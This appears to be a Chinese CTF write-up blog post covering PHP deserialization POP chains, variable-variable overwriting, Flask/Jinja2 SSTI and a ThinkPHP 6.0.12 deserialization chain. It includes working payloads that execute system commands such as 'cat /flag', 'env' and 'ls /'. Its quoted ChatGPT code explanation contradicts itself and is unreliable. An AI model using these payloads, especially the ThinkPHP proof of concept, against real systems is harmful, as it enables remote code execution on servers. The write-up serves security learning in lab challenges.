当前位置: 首页 > news >正文

NSSCTF做题第9页(2)

[SWPUCTF 2022 新生赛]ez_1zpop

<?php
error_reporting(0);
class dxg
{
   function fmm()
   {
      return "nonono";
   }
}

class lt
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()
   {
      $this->impo = new dxg;
   }
   function __wakeup()
   {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

   function __toString()
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct()
   {
      echo $this;
   }
}

class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}

这道题主要有三个绕过点,第一个是__wakeup()函数,第二个是

(isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52) 变量的MD5相等,但是两个变量不等

那需要我们构造的两个类就是class lt和 class fin

构造的时候设置一个变量a,创建了一个类的对象lt

然后把md5的条件满足一下,而这类的第一个变量$impo没有用到

就可以利用它来指向下一个新创建的变量class fin,再利用fin里边的公共变量进行命令执行得到flag

<?php
class lt
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
}
class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
}
$m = new lt();
$m ->md51 = 'QNKCDZO';
$m ->md52 = 's878926199a';
$m ->impo = new fin();
$m ->impo -> a = 'system';
$m ->impo -> title =  'cat /flag';
echo serialize($m);
?> 

别忘了改一下成员数来绕过__wakeup()函数

O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:11:"s878926199a";}

改成:

O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:11:"s878926199a";}

得到flag

[MoeCTF 2022]ezphp 

代码审计

来自chatgpt的解释:

首先,代码定义了一个变量$flag,它的值是“xxxxxxxxx”,表示一个未知的标志。

接下来,代码定义了两个字符串变量$giveme和$getout。$giveme的值是“可以需要标志!”,表示在缺少标志时给出的提示信息。$getout的值是“不!flag。再试一次。加油!,表示在输入正确的标志后给出的提示信息。

然后,代码通过判断是否存在$_GET['flag']或$_POST['flag']来确定是否有传递标志。如果没有传递标志,就会输出$giveme的值并退出脚本。

如果有传递标志,代码会检查传递的标志值是否为“flag”,如果是的话,就会输出$getout的值并退出脚本。

接下来,代码使用foreach循环遍历$_POST和$_GET数组中的键值对,并将键作为变量名,值作为变量值进行赋值操作。这样可以通过$_POST或$_GET中的参数名来直接获取对应的值。

最后,代码输出“The flag is : ”和$flag的值,即输出标志的值。

综上所述,该代码的逻辑是:如果没有传递标志,则给出提示信息;如果传递了标志,并且标志不等于“flag”,则给出另一条提示信息;如果传递了标志,并且标志等于“flag”,则输出标志的值。

关键是这两句:
foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

$_POST数组中,将键作为变量名,将对应的值作为变量值。在$_GET数组中,对于每个键值对,将值作为变量名,并将对应变量的值赋给当前循环的变量

如果要echo,那么不能exit,那么必须传flag(get或者post),并且传入flag不能等于"flag",如果要$flag的值不会被更改,那就得提前“储存”flag。顺序不能变,必须要先用另一个变量把flag的值储存起来,否则flag会被覆盖。 

所以就可以传入 ?a=flag&flag=a,先把flag的值传给a,储存起来,然后再读取

 [HZNUCTF 2023 preliminary]flask

提示说传参name进去

先随便传一个123进去,发现回显是321,又试了一些,发现全是反着输出的

那试试}}7*7{{    ,ok倒序

在线文本字符反转 - 在线文本反转 - 文字反转生成器

找基类 下面的记得反转

{{"".__class__}} 得到空字符串类 <class 'str'>,用网页回显总是麻麻赖赖的,用bp看是正常的

  {{"".__class__.__mro__}}  得到:<class 'tuple'>, <class 'object'>

  {{"".__class__.__mro__[-1]}} 得到 <class 'object'>

得到基类之后,找到这个基类的子类集合

{{"".__class__.__mro__[-1].__subclasses__()}}

这里使用其第133个类([0]是第一个类 因此第133个是[132] )<class 'os._wrap_close'>

<class 'os._wrap_close'> 这个类有个popen方法可以执行系统命令

 

实例化我们找到的类对象

 {{"".__class__.__mro__[-1].__subclasses__()[132].__init__}}

找到这个实例化对象的所有方法

{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}

调用popen方法,进行rce 在环境变量里得到flag

{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('env').read()}}

 

这道题其实没什么难度,只是过程麻烦一点,需要你去找调用方法的类

用这一句话也是可以读的出来的

{%print(lipsum.__globals__.os.popen('env').read())%}

[UUCTF 2022 新生赛]ez_unser 

一道简单的反序列化

过滤了 /test":3,

正则限制死了不可能通过修改成员数量绕过__wakeup()

这里可以又看到在析构函数提及了b,c值的传递,考虑使用引用传参的方式,就不需要再考虑__wakeup()函数的影响了,我们可以把a和b变成用同一个内存变量,所以给b赋值相当于给a赋值。

payload

<?php
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){

    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$m=new test();
$m->b=&$m->a;
$m->c="system('ls /');";
echo serialize($m);
?>

在payload里修改一下路径,得到flag

[CISCN 2022 初赛]ezpop 

进去发现是thinkph-v6 直接去网上找

还是,推两篇博客给大家

 ThinkPHP V6.0.12LTS 反序列化漏洞的保姆级教程(含exp编写过程)-CSDN博客

漏洞挖掘-ThinkPHP6.0.12LTS反序列化_amingMM的技术博客_51CTO博客

果然有东西

下载www.zip

下载下来720个项目,哈哈哈真会开玩笑

从网上找漏洞复现,发现漏洞的起点在wakeup方法或者destruct方法,所以全局搜索一下这两个方法

搜索之后发现漏洞起点应该是在vendor\topthink\think-orm\src\Model.php 

找到起点之后就是跟着这个调用过程进行分析

 大佬的博客写的很详细了已经

两篇博客,关于这个漏洞的详细解析

 https://www.cnblogs.com/Jinx8823/p/16564437.html

ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户

 在app/controller/index.php找到了传参路径

所以传参的时候路径应该是index/test

直接上poc

<?php
namespace think {
    abstract class Model
    {
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = '')
        {
            $this->lazySave = True;
            $this->data = ['whoami' => ['ls /']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami', ['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model {
    use think\Model;
    class Pivot extends Model
    {
    }
}
namespace {

    echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
?>

首先,在命名空间think下定义了一个抽象类Model,它包含了一些私有属性和方法。这些属性包括$lazySave$data$exists$table$withAttr$json$jsonAssoc,并在构造函数中给它们赋予了一些初始值。

然后,在命名空间think\model下定义了一个继承自Model的类Pivot,它没有添加任何额外的属性或方法。

最后,在全局命名空间下,通过echo语句输出了一个序列化后的对象。具体地,它序列化了一个think\model\Pivot类的实例,并对序列化结果进行了URL编码。

 post传参,找到了flag路径

cat flag

 得到flag

 

相关文章:

NSSCTF做题第9页(2)

[SWPUCTF 2022 新生赛]ez_1zpop <?php error_reporting(0); class dxg { function fmm() { return "nonono"; } } class lt { public $impohi; public $md51weclome; public $md52to NSS; function __construct() { $this-&…...

Rust笔记【1】

元组和解构语法 let tup : (i32, f64, u8) (666, 2.0, 1);let tup (666, 2.0, 1); let (x, y, z) tup;let x tup.0; let y tup.1; let z tup.2;数组类型 数组定义是方括号&#xff1a;[ ] 元组定义是小圆括号&#xff1a;( ) 结构体定义是大括号&#xff1a;{ }&#xf…...

代码随想录训练营day3:链表part1

理论 链表的增删操作时间复杂度O(1),查询时间复杂度O(n),因为要从头结点开始。使用场景和数据完全相反 链表的储存地址是不连续的。也和数组不同。 移除链表元素 利用虚拟头结点可以同意操作。不然删除头结点需要额外写。 记得返回的是虚拟头结点的next而不是虚拟头结点retu…...

Bootstrap的咖啡网站实例代码阅读笔记

目录 01-index.html的完整代码02-图片可以通过类 rounded-circle 设置为圆形显示03-<li class"nav-item mt-1 a">中&#xff0c;类mt-1是什么意思&#xff1f;类a又是什么意思&#xff1f;04-href"javascript:void(0);"是什么意思&#xff1f;05-类f…...

2021年06月 Python(二级)真题解析#中国电子学会#全国青少年软件编程等级考试

Python等级考试&#xff08;1~6级&#xff09;全部真题・点这里 一、单选题&#xff08;共25题&#xff0c;每题2分&#xff0c;共50分&#xff09; 第1题 执行下列代码后&#xff0c;运行结果是&#xff1f; seq[hello,good,morning] s*.join(seq) print(s)A: hello*good*m…...

FileWriter文件字符输出流

一.概念 以内存为基准&#xff0c;把内存中的数据以字符形式写出到文件中 二.构造器 public FileWriter(Filefile) 创建字节输出流管道与源文件对象接通 public FileWriter(String filepath) 创建字节输出流管道与源文件路径接通 public Filewriter(File file,boolean append) …...

Vue的八个基础命令及作用

1.v-text 作用:获取data数据, 设置标签的内容&#xff0c;以纯文本进行显示v-text 会覆盖 标签中的内容&#xff0c;如果想要拼接数据&#xff0c;可以直接在v-text中拼接如果拼接的是数字&#xff1a;直接使用 “”如果拼接的是字符串&#xff0c;需要使用与外部不同的引号进…...

Log日志详解分析

目录 1、log日志的用途2、log日志级别3、什么时候需要输出日志1. 系统启动参数、环境变量2. 异常捕获处3. 函数获得期望之外的结果时4. 关键操作 4、日志输出的内容5、 注意事项1. 日志信息不明确2. 特殊异常处理3. 日志输出顺序4. 临时调试日志 6、xml文件配置7、linux下查看日…...

【API篇】九、Flink的水位线

文章目录 1、Flink时间语义2、事件时间和窗口3、水位线4、水位线和窗口的工作原理 1、Flink时间语义 事件时间处理时间 举个例子就是&#xff0c;一条数据在23:59:59产生&#xff0c;在00:00:01被处理&#xff0c;前者为事件时间&#xff0c;后者为处理时间。 从Flink1.12版本…...

#经典论文 异质山坡的物理模型 2 有效导水率

Binley, A., Beven, K., & Elgy, J. (1989). A physically based model of heterogeneous hillslopes: 2. Effective hydraulic conductivities. Water Resources Research, 25(6), 1227–1233. https://doi.org/10.1029/WR025i006p01227 这篇论文指出&#xff0c; 每个输…...

Java面试题-Redis-第一天(Redis简单介绍)

目录 一、Redis是什么&#xff1f;优缺点&#xff1f; 二、Redis为什么这么快&#xff1f; 三、Redis相较于Memcached有哪些优势&#xff1f; 四、为什么使用Redis做缓存&#xff1f; 五、为什么要用Redis而不用map/guava做缓存&#xff1f; 六、Redis的常用场景有哪些&am…...

Java 生成和读取JSON文件

下面的demo当中 &#xff0c;是将json文件放到了zip包当中。如果不需要&#xff0c;可以拿掉。 1、生成对象JSON文件 public static void crateJson() {try {String orcPath "D:\\doc\\ts_service_orchestration.json";// 对象集合或者对象都可以List<DataPO>…...

k8s-----26、细粒度权限管理 RBAC

0、导读 每一个用户对API资源进行操作都需要通经过以下三个步骤: 第一步:对客户端访问进行认证操作,确认是否具有访问k8s权限(也就是通过serviceaccount) token(共享秘钥) SSL(双向SSL认证) …通过任何一个认证即表示认证通过,进入下一步第二步:授权检查,确认是否对资源…...

【Unity ShaderGraph】| 制作一个 高级流体水球效果

前言 【Unity ShaderGraph】| 快速制作一个 流体水球效果一、效果展示二、简易流体水球效果三、进阶流体水球效果四、应用实例 前言 本文将使用ShaderGraph制作一个 高级流体水球 &#xff0c;可以直接拿到项目中使用。对ShaderGraph还不了解的小伙伴可以参考这篇文章&#xf…...

日常软件游戏丢失msvcp120dll怎么修复?分享5个修复方法

在计算机使用过程中&#xff0c;我们经常会遇到一些错误提示&#xff0c;其中之一就是“msvcp120dll丢失”。那么&#xff0c;究竟什么是msvcp120dll文件&#xff1f;当它丢失时&#xff0c;我们会遇到哪些问题呢&#xff1f;本文将从以下几个方面进行详细阐述。 msvcp120dll是…...

自动驾驶之—2D到3D升维

前言&#xff1a; 最近在学习自动驾驶方向的东西&#xff0c;简单整理一些学习笔记&#xff0c;学习过程中发现宝藏up 手写AI 3D卷积 3D卷积的作用&#xff1a;对于2DCNN&#xff0c;我们知道可以很好的处理单张图片中的信息&#xff0c;但是其对于视频这种由多帧图像组成的图…...

ubuntu18.4(后改为20.4)部署chatglm2并进行基于 P-Tuning v2 的微调

下载驱动 NVIDIA显卡驱动官方下载地址 下载好对应驱动并放在某个目录下&#xff0c; 在Linux系统中安装NVIDIA显卡驱动前,建议先卸载Linux系统自带的显卡驱动nouveau。 禁用nouveau 首先&#xff0c;编辑黑名单配置。 vim /etc/modprobe.d/blacklist.conf 在文件的最后添加…...

爬虫-获取数据xpath

安装lxml pip3 install lxml基本用法 import reauests from lxml import etree url = xxx res = reuests.get(url).text html = etree.HTML(res) # 获取所有div标签 xpath = //div print(html.xpath(xpath)) #获取id=xx的div标签下的class=yy的span标签 xpath = //div[@id=&quo…...

SpringBoot中使用JdbcTemplate访问Oracle数据库

Oracle相信大家都不陌生吧&#xff0c;一个大型的数据库&#xff0c;至于数据库&#xff0c;我相信各位都比较熟悉了&#xff0c;一个软件系统&#xff0c;不论是我们常做的App、小程序、还是传统的web站点&#xff0c;我们都有用户的信息&#xff0c;相关业务的数据&#xff0…...

【Linux】权限完结

个人主页点击直达&#xff1a;小白不是程序媛 系列专栏&#xff1a;Linux被操作记 目录 前言 chown指令 chgrp指令 文件类型 file指令 目录的权限 粘滞位 umask指令 权限总结 前言 上篇文章我们说到对于一个文件所属者和所属组都是同一个人时&#xff0c;使用所属者身…...

计算机网络-应用层(3)

一、FTP 文件传输协议 (File Transfer Protocol,FTP) 简称为“文传协 议”,用于在Internet上控制文件的双向传输。 FTP 客户上传文 件时&#xff0c;通过服务器20号端口建立的连接是建立在TCP 之上的数 据连接&#xff0c;通过服务器21号端口建立的连接是建立在TCP 之上的控制连…...

虎去兔来(C++)

系列文章目录 进阶的卡莎C++_睡觉觉觉得的博客-CSDN博客数1的个数_睡觉觉觉得的博客-CSDN博客双精度浮点数的输入输出_睡觉觉觉得的博客-CSDN博客足球联赛积分_睡觉觉觉得的博客-CSDN博客大减价(一级)_睡觉觉觉得的博客-CSDN博客小写字母的判断_睡觉觉觉得的博客-CSDN博客纸币(…...

docker基础镜像定制

docker基础镜像定制 1 简言2.准备软件源文件sources.list3.制作基础镜像3.1 编写Dockerfile命令3.2 制作基础镜像k8sbase1.03.3 测试基础镜像1 简言 官方基础镜像一般自带的linux命令是比较少,tcpdump、telnet登等命令是没有的,这时,定制一套适合自己的基础镜像是必要的,在…...

解决git action定时任务执行失败的方法

为了测试git action定时任务是否有效&#xff0c;你可能选择一个最近的时间测试&#xff0c; 但是发现怎么也触发不了&#xff0c;是不是觉得很苦恼。但是同样的时间&#xff0c;在第二天的定时任务又能成功运行。 这是什么原因&#xff1f; 原因就在上图&#xff0c;git act…...

Node编写重置用户密码接口

目录 前言 定义路由和处理函数 验证表单数据 实现重置密码功能 前言 接前面文章&#xff0c;本文介绍如何编写重置用户密码接口 定义路由和处理函数 路由 // 重置密码的路由 router.post(/updatepwd, userinfo_handler.updatePassword) 处理函数 exports.updatePasswo…...

Day13力扣打卡

打卡记录 奖励最顶尖的 k 名学生(哈希表排序) 用哈希表对所有的positive与negative词条进行映射&#xff0c;然后遍历求解。tip&#xff1a;常用的分割字符串的操作&#xff1a;1.stringstream配合getline() [格式buf, string, char]2.string.find()[find未找到目标会返回npos…...

独立开发者知识贴

有一个github仓库&#xff0c;叫做独立开发变现周刊&#xff0c;很不错&#xff0c;作者能从21年能坚持更新到现在&#xff0c;我很佩服。 它里边有很多独立开发者成功的作品案例&#xff0c;我对这些很感兴趣。 在阅读时&#xff0c;我会问自己以下几个问题&#xff1a; 解…...

软考系列(系统架构师)- 2009年系统架构师软考案例分析考点

试题一 软件架构设计 【问题1】&#xff08;9分&#xff09; 软件质量属性是影响软件架构设计的重要因素。请用200字以内的文字列举六种不同的软件质量属性名称并解释其含义。 常见的软件质量属性有多种&#xff0c;例如性能&#xff08;Performance)、可用性&#xff08;Ava…...

C语言每日一题(21)删除排序数组中的重复项

力扣 26.删除排序数组中的重复项 题目描述 给你一个 非严格递增排列 的数组 nums &#xff0c;请你 原地 删除重复出现的元素&#xff0c;使每个元素 只出现一次 &#xff0c;返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。然后返回 nums 中唯一元素的个数。 考…...

如何快速解决d3dcompiler_43.dll缺失问题?五种方法快速解决

在计算机使用过程中&#xff0c;我们常常会遇到一些错误提示&#xff0c;其中之一就是“D3DCompiler_43.dll缺失”。这个错误通常会导致游戏、应用程序或系统无法正常运行。为了解决这个问题&#xff0c;我们需要采取一些修复方案来恢复缺失的文件。本文将介绍五个修复D3DCompi…...